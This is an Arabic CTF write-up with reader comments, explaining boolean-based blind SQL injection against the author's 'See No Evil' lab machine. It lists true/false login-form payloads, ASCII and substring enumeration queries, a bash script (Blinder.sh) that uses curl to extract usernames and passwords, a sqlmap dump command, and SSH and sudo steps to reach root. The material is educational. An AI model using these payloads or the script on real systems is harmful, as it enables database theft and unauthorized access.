شرح ثغرات Boolean Based SQL injection – تحدي SeeNoevil من CodeRed CTF
لقد قمت بشرح ثغرة Blind SQL Injection – Boolean Based في احد مؤتمرات أمن المعلومات في عمّان وكانت مستوحاه من احد machines على hackthebox وطلب مني منظمو مسابقة CodeRed CTF وضع احد تحديات ال CTF على Blind SQLi وتكون مبسطة قدر الامكان. لذلك وضعت تحدي تم تسميته “See No Evil” بامكانكم تحميله من الرابط في نهاية المقال.
سأقوم بكتابة سلسلة مقالات ميسرة في موضوع SQL Injection الهجوم الخاص بتطبيقات الويب. و سأفتتح هذه السلسة بمقال حول Blind SQL Injection
لترسيخ المفهوم سأعرض كيفية اختراق واستغلال ثغرة Blind SQLi بشكل يدوي manual وايضا سوف اتطرق بعدها لكيفية اختراقها باستخدام اداة SQLMAP. أنصح القراء الأعزاء بالتقليل قدر المستطاع من استخدام الأدوات الجاهزة والمحاولة قدر الامكان الطرق اليدوية وذلك لترسيخ المفاهيم الأساسية خصوصا في مرحلة التعلم. أيضا هنالك بعض الحالات التي لا تسعفك بها الادوات الجاهزة وعليك باستخدام طرق يدوية بحتة وفهم عميق للثغرة والهجوم المصاحب.
نبدأ بعملية الاستطلاع على التحدي
نلاحظ وجود ports 80,3306,2233 في حالة open
نحاول الان الاستطلاع لتحديد نسخة كل من المداخل المتاحة على هذا التحدي
نلاحظ وجود HTTP port 80 and SSH port 2233 و 3306 MYSQL
دائما نبدأ ببروتوكولHTTP ونلاحظ وجود صفحة دخول login
اذا حاولنا ادخال اسم وكلمة سر admin/admin نلحظ رسالة ال الخطأ. لكننا نستنتج من هذه الرسالة أن هنالك اسم مستخدم اسمه
admin. واذا حاولنا اسم مستخدم اخر test نلحظ وجود رسالة خطا مختلفة
سنحاول ادخال او حقن جملة SQL بجمل صح وخطأ true/false ونلاحظ استجابة تطبيق الويب لها. وهنا جاء مصطلح Blind حيث أن محتويات قاعدة البيانات لا تظهر يشكل مباشر كما في (union select) على صفحة الويب. لكن يجب ملاحظة التأثير في اختلاف الاستجابة للصفحة او ما يسمى behavior or response في حالة ارسلنا جملة True او جملة False
مثال على حقن بجملة true: ‘ or 1=1;#
مثال على حقن بجملة false: ‘ or 1=2;#
فتصبح الجملة كأنها
Select username from users where username=’’ or 1=1;#’. لقد قمنا بارسال اوامر صح-خطأ لذلك سميت Boolean based
حيث أن علامة # تستخدم في لغة ال SQL كتعليق comment
في الجمل الصحيحة في username نلاحظ وجود رسالة: please enter your correct password
في الجمل الخطأ في username نلاحظ وجود رسالة: Wrong username and password
لذلك يمكن استنتاج ان صفحة الويب متأثرة بثغرة Blind SQLi بسبب اختلاف استجابة الصفحة في حالات جمل True/False
يمكننا الان تمرير سلسلة طويلة من الاسئلة لتطبيق الويب لنحديد رقم ASCII code لكل حرف في الهدف المراد استخراجه. على سبيل المثال لتحديد اسم DB-name or Table-name معرّف في داخل Database او حتى استخراج المحتوى الكامل في tables
في المثال التصويري التالي عرض للفكرة من طرح الاسئلة التي اجابتها نعم او لا True or False وكيف ممكن استغلالها لاستخراج المعلومات. حيث يقوم الحارس بحماية البرج لكنه يقوم بالرد على الاسئلة ب نعم او لا – True or False
ويجب ان اشير هنا الى ان اهم اوامر ال SQL التي يمكن الاستفادة منها في عملية الهجوم المراد في حالة Blind SQLi ويمكنكم الرجوع للتوثيق الخاص بهذه functions في موقع Mysql
- Important SQL functions:
- Ascii(char) لتحديد رقم ال ASCII
- Substring (String, location, num) اختيار حرف معين داخل string
- Length(‘string’) تحديد طول ال string
- Concat (string1, string2,…..) دمج اكثر من string
وفي الجدول ادناه نجد الكود الخاص لكل حرف. والتي ستسخدم عند طرح الاسئلة على الويب App
لنبدأ اولى خطوات استخراج المعلومات من DB :
- تحديد طول اسم database name
‘ or length(database())=3 — – False
‘ or length(database())=4 — – False
‘ or length(database())=5 — – TURE
وكما أسلفنا بامكاننا تحديد اذا ما كانت جملة ال SQL صح ام خطأ من خلال ال error message كما هو موضّح في الصورة ادناه. حيث في حالة True تكون رسالة الخطأ error message: Please enter your correct password وهكذا نستنتج أن طول اسم DB هو 5
وبناءا على الطريقة السابقة بامكاننا الان البدء باستكشاف اسم قاعدة البيانات والتي كما عرفنا ان طول الاسم هو 5 احرف !
ونبدأ بفحص الحرف الاول ومقارنته بكود ASCII في الجدول السابق يطريقة bruteforce. ثم نكرر العملية للحرف الثاني ثم الثالث ثم الرابع ثم الخامس. وبهذا بامكاننا تحديد اسم قاعدة البيانات.
الحرف الاول
‘ or ascii(substring(database(),1,1))=97 — – #determine 1st char of DB name – Fase
‘ or ascii(substring(database(),1,1))=98 — – #determine 1st char of DB name – True
وكما نلاحظ أن او حرف في اسم قاعدة البيانات هو: b
نكرر نفس العملية للحرف الثاني الى الخامس وذلك بتغيير موقع الحرف 2 في substring
‘ or ascii(substring(database(),2,1))=97 — – #determine 2nd char of DB name – Fase
‘ or ascii(substring(database(),2,1))=98 — – #determine 2nd char of DB name – Fase
‘ or ascii(substring(database(),2,1))=99 — – #determine 2nd char of DB name – Fase
‘ or ascii(substring(database(),2,1))=100 — – #determine 2nd char of DB name – Fase
‘ or ascii(substring(database(),2,1))=101 — – #determine 2nd char of DB name – Fase
.
.
.
‘ or ascii(substring(database(),2,1))=108 — – #determine 1st char of DB name – True
اذا الحرف الثاني هو l
وبتكرار العملية نستنتج أن اسم قاعدة البيانات هو: blind
بنفس هذه المنهجية ايضا بامكاننا تحديد اسم table باستخدام bruteforce وممكن ايضا ان نحاول ان نتوقع (guess) الاسم لتقليل الوقت المستغرق في العملية. على سبيل المثال غالبا ما يكون في كل قاعدة بيانات table اسمه user or users ولتجربة ذلك بامكاننا ارسال payloads لفحص ذلك كما يلي:
‘ or (select 1 from testttt limit 1)=1 — – False
‘ or (select 1 from user limit 1)=1 — – False
‘or (select 1 from users limit 1)=1 — – True
وهنا نستنتج أن اسم table هو users
اذا اردنا ان نعرف عدد الاسطر في users table
‘ or (select count(*) from users) > 10 — – False
‘ or (select count(*) from users) > 1 — – true
‘ or (select count(*) from users) > 2 — – true
‘ or (select count(*) from users) > 3 — – False
اذا نستنتج ان عدد الاسطر هو 3. اذا يوجد في الجدول 3 اسماء مستخدم و 3 كلمات سر على ما يبدو
وبنفس الطريقة بامكاننا معرفة عدد columns في جدول users
‘ or (SELECT count(*) FROM information_schema.columns WHERE table_name = “users”)=3 — –
بالمثل ايضا بامكاننا ان نتوقع اسم columns
‘ or substring(concat( 1, (select username from users limit 1)),1,1)=1 — –
‘ or substring(concat( 1, (select password from users limit 1)),1,1)=1 — –
نلاحظ ان عملية استخراج المعلومات في طريقة Blind طويلة جدا خصوصا في حالة كان حجم قاعدة البيانات كبير. اذا اردنا ايضا استخراج البيانات من الجداول سيتطلب ذلك وقتا كثيرا. لذلك يمكن اتمتة العملية باستخدام customized script على سبيل المثال لاستخراج محتوى users table
#!/bin/bash # Filename: Blinder.sh # Version: v1.0 # Description: Customized Script to carry out blind SQL injection attack based on manually enumerated info # By: RamiDarkFlow for row in 0 1 2 do myuser="" for x in {1..32} # username char location in the payload do for i in {1..127} #check ASCII code number do payload="username=' OR ascii(substring((SELECT username from users limit $row,1),$x,1))>$i -- -&password=test&submit=Login" curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" -d ''"$payload"' -X POST -H "Content-Type: application/x-www-form-urlencoded' http://192.168.8.102/index.php 2> /dev/null -o file.out cond=`grep please file.out` status=$? if [ $status != 0 ] then char=`printf "\x$(printf %x $i)"` if [ $i == 1 ] then break; fi myuser="$myuser$char" #echo -n "Digit$x: ASCII= $i and char is ";printf "\x$(printf %x $i)"; printf "." break; fi done done mypass="" for x in {1..32} # pssword char location in the payload do for i in {1..127} #check ASCII code number do payload="username=' OR ascii(substring((SELECT password from users limit $row,1),$x,1))>$i -- -&password=test&submit=Login" curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" -d ''"$payload"' -X POST -H "Content-Type: application/x-www-form-urlencoded' http://192.168.8.102/index.php 2> /dev/null -o file.out cond=`grep please file.out` status=$? if [ $status != 0 ] then char=`printf "\x$(printf %x $i)"` if [ $i == 1 ] then break; fi mypass="$mypass$char" #echo -n "Digit$x: ASCII= $i and char is ";printf "\x$(printf %x $i)"; printf "." break; fi done done printf "\n" echo "The username is: $myuser" echo "The Password is: $mypass" done
وعند التنفيذ نسطيع استخراج محتوى table
- يمكن ايضا استخدام اداة sqlmap لاستخراج معلومات قاعدة البيانات لكنني فضلت توضيح العملية بشكل يدوي. اذا اردنا استخدام sqlmap يجب الاحاطة بخيار string كما يلي:
sqlmap -u http://192.168.8.102/index.php --data="username=admin&password=test&submit=Login" -p username --dbms mysql --dump -- string="please" --batch
حسنا, لدينا الان مجموعة حسابات ممكن تجربتها عبر SSH للدخول للجهاز. وعند التجربة نجد أن الاسم rcode يمكن له الدخول وأخذ shell access
ssh –p2233 [email protected]
بمكاننا الان الحصول على root عن طريق sudo كما هو مبين ادناه
بامكانكم تحميل SeeNoEvil من الرابط التالي نسخة virtualbox
https://drive.google.com/file/d/1TVSY6cebL937wNJnOWnu9b3hPWI0YI6i/view
شكرا لك على هذه المقالة
Merci beaucoup
شكرا على الشرح الرائع جدا استفدت منه جدا
بنسبه للSeeNoEvil.ova بعد تحميله عل الVirtualBox بيطلب localhost.localdomain login ماهي ؟
شرح جميل و وافي و مبسط . الله يعطيك العافيه . ارجو التكرم بامدادي بروابط باقي مقالاتك و شروحاتك مهندسنا الفاضل
ملحوظة لم يتم امداد القراء باسم المستخدم و كلمة المرور للتجربة
نتمنى اضافة رابط لتحميل المقالة